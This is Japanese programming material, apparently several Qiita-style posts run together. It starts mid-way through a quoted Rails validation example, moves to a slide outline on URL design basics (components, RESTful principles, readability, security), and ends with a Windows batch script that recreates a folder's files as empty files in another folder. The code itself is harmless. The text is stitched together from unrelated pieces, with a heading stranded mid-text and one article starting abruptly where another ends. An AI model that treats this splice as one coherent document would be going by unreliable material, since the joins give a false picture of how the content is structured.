> ```ruby
> irb> p.valid?
> => false
> irb> p.errors.objects.first.full_message
> => "Name can't be blank"
> ```
> （Railsガイドより引用）   

- `errors[:attribute]`を使うと、特定のオブジェクトの属性が有効かどうかを確認できる
    - `errors[:name]`とすると「nameはレコード値として適切だったか否か」が分かる
URL設計の基本


## URLとは何か？
- URLはWebアドレスのこと。Webページを特定するための文字列
- http(s)以外のプロトコルも表現可能。Webに用途を限定されるものではない

---
## URLの基本コンポーネント
- スキーマ、ホスト名、パス、クエリパラメータ、フラグメント
- 例: `https://example.com/products?id=123#specs`
  - `https`: スキーマ
  - `example.com`: ホスト名
  - `/products`: パス
  - `?id=123`: クエリパラメータ
  - `#specs`: フラグメント

---

## 良いURL設計の恩恵
- リンクが貼りやすい（拡張性が高くなる）
- 普及した考え方に倣うことで作りやすく使いやすいWebアプリとなることが期待できる

---

## RESTful URLデザインの原則
- RESTfulアーキテクチャでは、URLは**リソースを指し示すべき**
- 操作はHTTPメソッド（GET, POST, PUT, DELETE）で表現

---

## URLの可読性と簡潔性
- 記述的なURLを目指す
- 悪い例: `https://example.com/b?c=123`
- 良い例: `https://example.com/books/123`

---

## セキュリティの考慮
- URL内に機微な情報（パスワード、セッションIDなど）を含めない
- URLエンコーディングを適切に使用

---

## まとめ
Webアプリを作るというのは、煎じ詰めれば

1. **URL（≒リソース）の名前とパスを設計し**
1. **それらに対してどの操作（＝メソッド）が可能かを考え**
1. **それらの操作でどのような効果が起きるかを考える**

ことと言えます。

URLを場当たり的に設計すると取っ散らかったウェブアプリになってしまいますのであなどらずに設計しましょう。
【bat】指定したフォルダのファイルが空ファイルとしてコピー先のフォルダに作成

```bat:copy_as_empty_files.bat
@echo off
setlocal

rem Prompt user for source folder
set /p source_folder=Enter the source folder path: 

rem Prompt user for destination folder
set /p destination_folder=Enter the destination folder path: 

rem Check if the source folder exists
if not exist "%source_folder%" (
    echo Source folder does not exist.
    exit /b 1
)

rem Create the destination folder if it does not exist
if not exist "%destination_folder%" (
    mkdir "%destination_folder%"
)

rem Loop through each file in the source folder and create an empty file in the destination folder
for %%f in ("%source_folder%\*.*") do (
    type nul > "%destination_folder%\%%~nxf"
)

echo Files copied as empty files to %destination_folder%

endlocal
```

:::note info
スクリプトの説明
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509696/b1bba193-7ce6-6fbb-2f27-d02957679d72.png)
:::

:::note info
実行方法
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509696/a1016378-0f7b-a946-6ea8-098eb272b8fa.png)

:::